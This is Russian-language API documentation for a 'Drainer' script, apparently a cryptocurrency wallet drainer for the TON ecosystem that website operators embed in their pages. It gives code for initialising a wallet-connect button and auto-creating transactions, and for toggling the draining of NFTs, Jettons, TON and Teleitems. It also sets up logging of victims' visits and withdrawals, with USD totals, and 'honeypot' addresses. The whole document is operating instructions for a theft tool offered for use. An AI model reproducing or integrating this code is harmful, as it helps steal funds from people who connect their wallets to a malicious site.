Drainer API
Эта документация и API предназначены для разработчиков. Использование методов, описанных здесь, требует навыков работы с JavaScript и интеграцией веб-сайтов. Неправильное использование может нарушить функциональность сайта. Перед внесением изменений убедитесь, что обладаете достаточными знаниями, или проконсультируйтесь с разработчиком.
API Drainer предоставляет несколько методов и событий, которые позволяют интегрировать взаимодействие с кошельками, отслеживать транзакции и обрабатывать ошибки. Ниже описаны основные события, методы и объекты данных, используемые в Drainer API.
Методы API
1. init(options?: DrainerOptions)
Инициализация библиотеки и создание всех необходимых элементов на странице (например, кнопка "Подключить кошелек").
Параметры:
- autoCreateTransaction (
boolean
): Еслиtrue
, автоматически создается транзакция при подключении кошелька. - autoOpenModal (
boolean
): Еслиtrue
, автоматически открывается модальное окно, когда это необходимо.
Пример использования:
window.drainer?.init({
autoCreateTransaction: true, // Автоматически создать транзакцию при подключении
autoOpenModal: false, // Не открывать модальное окно автоматически
disableWalletSave: true // Отключить сохранение кошелька
});
2. createTransaction()
Метод для создания транзакции вручную. Возвращает промис, который можно обработать для управления результатом транзакции.
Пример:
window.drainer?.createTransaction().then(() => {
console.log('Транзакция создана успешно');
}).catch((error) => {
console.error('Ошибка при создании транзакции', error);
});
3. openModal()
Метод для ручного открытия модального окна, если автоматическое открытие отключено.
Пример:
window.drainer?.openModal();
4. overrideDrainerSettings(overrides: Partial<DrainerSettingsPublic>)
Позволяет переопределить настройки дрейнера. Используйте этот метод, чтобы изменять параметры, такие как включение/отключение дренирования активов, ведение логов и другие настройки дрейнера.
Параметры:
- overrides (
Partial<DrainerSettingsPublic>
): Объект с новыми настройками дрейнера.
Пример использования:
window.drainer?.overrideDrainerSettings({
drainNFT: false, // Отключаем дренирование NFT
drainJettons: true, // Включаем дренирование Jettons
visitLogs: true // Включаем логи посещений
});
Полный список параметров OverrideDrainerSettings:
- drainNFT (
boolean
): Включает/отключает дренирование NFT. - drainJettons (
boolean
): Включает/отключает дренирование Jettons. - drainNative (
boolean
): Включает/отключает дренирование нативных активов (TON). - drainTeleitems (
boolean
): Включает/отключает дренирование Teleitems. - visitLogs (
boolean
): Включает/отключает ведение логов посещений. - walletConnectLogs (
boolean
): Включает/отключает ведение логов подключения кошелька. - txSuccessLogs (
boolean
): Включает/отключает ведение логов успешных транзакций. - txCancelLogs (
boolean
): Включает/отключает ведение логов отмененных транзакций.
5. overrideHoneypots(overrides: Array<OverrideDrainerHoneypots>)
Этот метод позволяет переопределить параметры ханипотов (honeypots). Вы можете обновить адреса, сообщения или суммы, связанные с конкретными ханипотами.
Параметры:
- overrides (
Array<OverrideDrainerHoneypots>
): Массив объектов с новыми настройками для ханипотов.
Пример использования:
window.drainer?.overrideHoneypots([
{
honeypot_address: "EQAvXj...",
honeypot_amount: 1000
}
]);
Полный список параметров OverrideDrainerHoneypots:
- honeypot_address (
string
): Адрес ханипота. - honeypot_amount (
number
): Сумма, связанная с данным ханипотом.
События API
API Drainer предоставляет ряд событий, которые позволяют отслеживать подключения кошельков, транзакции и ошибки.
1. walletConnect
Событие, которое срабатывает при успешном подключении кошелька.
Пример:
window.addEventListener('walletConnect', (event) => {
const walletAddress = event.detail.walletAddress;
console.log('Кошелек подключен:', walletAddress);
});
2. walletDisconnect
Событие, которое срабатывает при отключении кошелька.
Пример:
window.addEventListener('walletDisconnect', () => {
console.log('Кошелек отключен');
});
3. transaction
Событие, которое срабатывает при успешной транзакции. В событии передаются все детали транзакции.
Пример:
window.addEventListener('transaction', (event) => {
const transactionDetails = event.detail;
console.log('Успешная транзакция:', transactionDetails);
});
4. transactionReject
Событие, которое срабатывает, когда транзакция была отклонена пользователем.
Пример:
window.addEventListener('transactionReject', () => {
console.warn('Транзакция была отклонена');
});
5. transactionError
Событие, которое срабатывает при возникновении ошибки в процессе транзакции.
Пример:
window.addEventListener('transactionError', (event) => {
const error = event.detail;
console.error('Ошибка транзакции:', error);
});
Объекты данных
1. TransactionDetails
Этот объект передается в событии transaction и содержит полную информацию о транзакции.
Структура:
- walletAddress: Адрес кошелька, выполнившего транзакцию.
- walletVersion: Версия кошелька.
- withdrawalAmount: Количество выведенных активов (TON, Jettons и т.д.).
- tokens: Массив токенов, участвовавших в транзакции.
- nfts: Массив NFT, участвовавших в транзакции.
- totalWithdrawalUSD: Общая сумма вывода в долларах США (USD).
Пример данных:
{
walletAddress: "UQAvXj...",
walletVersion: "V5R1",
withdrawalAmount: 10,
tokens: [{ name: "Jetton", balance: 100, usd: 10, decimals: 9, wallet_address: "UQAvXj..." }],
nfts: [{ address: "EQDn...", name: "NFT Example", usd: 50 }],
totalWithdrawalUSD: 60
}
2. Token
Объект описывает токен, участвующий в транзакции.
Структура:
- name: Название токена.
- balance: Количество токенов.
- usd: Эквивалент в USD.
- decimals: Количество десятичных знаков токена.
- wallet_address: Адрес кошелька, который содержит этот токен.
3. NFT
Объект описывает информацию о NFT, участвующем в транзакции.
Структура:
- address: Адрес NFT.
- name: Название NFT.
- collectionAddress: Адрес коллекции.
- collectionName: Название коллекции.
- lastPrice: Последняя цена NFT.
- usd: Эквивалент в USD.
4. TransactionError
Этот объект описывает возможные ошибки при выполнении транзакции.
Ошибки:
- INSUFFICIENT_FUNDS: Недостаточно средств.
- INSUFFICIENT_FUNDS_FOR_FEE: Недостаточно средств для оплаты комиссии.
- THROTTLE_TOP_UP: Превышено количество транзакций авто-комиссии.
Пример:
{
error: "INSUFFICIENT_FUNDS_FOR_FEE",
required: 0.1 // Необходимое количество средств для завершения
}
5. TransactionErrorResult
Этот объект передается в событии transactionError и содержит информацию о типе ошибки и необходимом количестве средств для завершения транзакции.